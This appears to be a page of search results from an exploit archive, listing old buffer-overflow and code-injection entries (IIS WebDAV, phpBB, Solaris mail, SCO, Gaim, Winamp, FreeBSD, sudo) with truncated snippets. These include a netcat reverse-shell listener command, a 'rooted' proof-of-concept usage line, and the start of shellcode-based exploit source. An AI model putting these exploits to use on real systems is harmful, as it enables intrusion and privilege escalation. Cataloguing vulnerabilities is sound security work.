453 matches found
Microsoft IIS - WebDAV ntdll.dll Remote Overflow
Microsoft IIS - WebDAV ntdll.dll Remote Overflow // / Crpt ntdll.dll exploit trough WebDAV by kralor Crpt / / --------------------------------------------------------------- / / this is the exploit for ntdll.dll through WebDAV. / / run a netcat ex: nc -L -vv -p 666 / / wb server.com yourip 666 0 ...
Code Injection in phpBB Advanced Quick Reply Mod
Software: phpBB Advanced Quick Reply Mod I've found a security hole in this sofware Code Injection. You can download this software at http://phpbbhacks.com/viewhack.php?id=586 Hackers can exploit this Mod to inject some shell code to hack your forum, your website or your server local exploit...
asctime-poc
; Proof of concept Code for asctime exploit ; Author: James Martin ; Website: http://www.uuuppz.com ; Email: [email protected] ; ; Usage: ; /asctimepoc notepad c:\autoexec.nat ; /asctimepoc command.com /c echo Your have been rooted c:\rooted.txt ; etc : ; ; /asctimepoc ; Set Show State ; ; Valid...
Solaris_x86_mail_exploit.txt
Greetings, A few weeks ago I posted regarding an overflow in /usr/bin/mail on Solaris 2.7. I incorrectly stated that mail drops privs before the overflow occurs. Cheez Whiz, who wrote the shellcode, saw my post on Packetstorm and supplied the following information: ...The problem with your presen...
Дыра в kicq / licq
Можно вставить шелл-код в URL...
SCO OpenServer 5.0.5 Env Local Stack Overflow Exploit
Exploit for sco platform in category local exploits ===================================================== SCO OpenServer 5.0.5 Env Local Stack Overflow Exploit ===================================================== / Copyright c 2000 ADM / / All Rights Reserved / / THIS IS UNPUBLISHED PROPRIETARY...
SCO OpenServer 5.0.5 - Env Local Stack Overflow
/ Copyright c 2000 ADM / / All Rights Reserved / / THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM / / The copyright notice above does not evidence any / / actual or intended publication of such source code. / / / / Title: SCO OpenServer mscreen / / Tested under: SCO OpenServer 5.0.5 / / By: K...
Дырка в midnight commander
некорректная обработка метасимволов в именах файла приводит к возможности выполнения shell-кода...
Advisory: Gaim remote vulnerability
Author: Stan Bubrouski [email protected] Date: November 9, 2000 Package: Gaim Versions affected: 0.10.3 current and previous 0.10.x versions. Severity: A remote user could potentially execute shell code as the user Gaim is running as. Problem:There is a buffer overflow in Gaim's parsing of HTML ta...
Дырка в mail.local (mail from: shell)
В некоторых системах mail.local наботает как sgid mail или suid root. Некорректная обработка LMTP-заголовка mail from: позволяет выполнение shell-кода...
winamp.win98.txt
Author: Steve Fewer, [email protected] http://indigo.ie/lmf Introduction: I recently uncovered a stack based buffer overflow in winamp version 2.10 which lets me execute 'arbitrary code'. It is=20 carried out through .pls files which winamp uses for playlists.=20 This is unnerving as it is a...
FreeBSD 3.3 - xmindpath Local Buffer Overflow
FreeBSD 3.3 - xmindpath Local Buffer Overflow / source: https://www.securityfocus.com/bid/839/info The version of xmindpath shipped with FreeBSD 3.3 can be locally exploited via overrunning a buffer of predefined length. It is possible to gain the effective userid of uucp through this...
sudo.bin - NLSPATH Privilege Escalation
sudo.bin - NLSPATH Privilege Escalation include include include include include define PATHSUDO "/usr/bin/sudo.bin" define BUFFERSIZE 1024 define DEFAULTOFFSET 50 ulong getesp asm"movl %esp, %eax"; mainint argc, char argv uchar execshell =...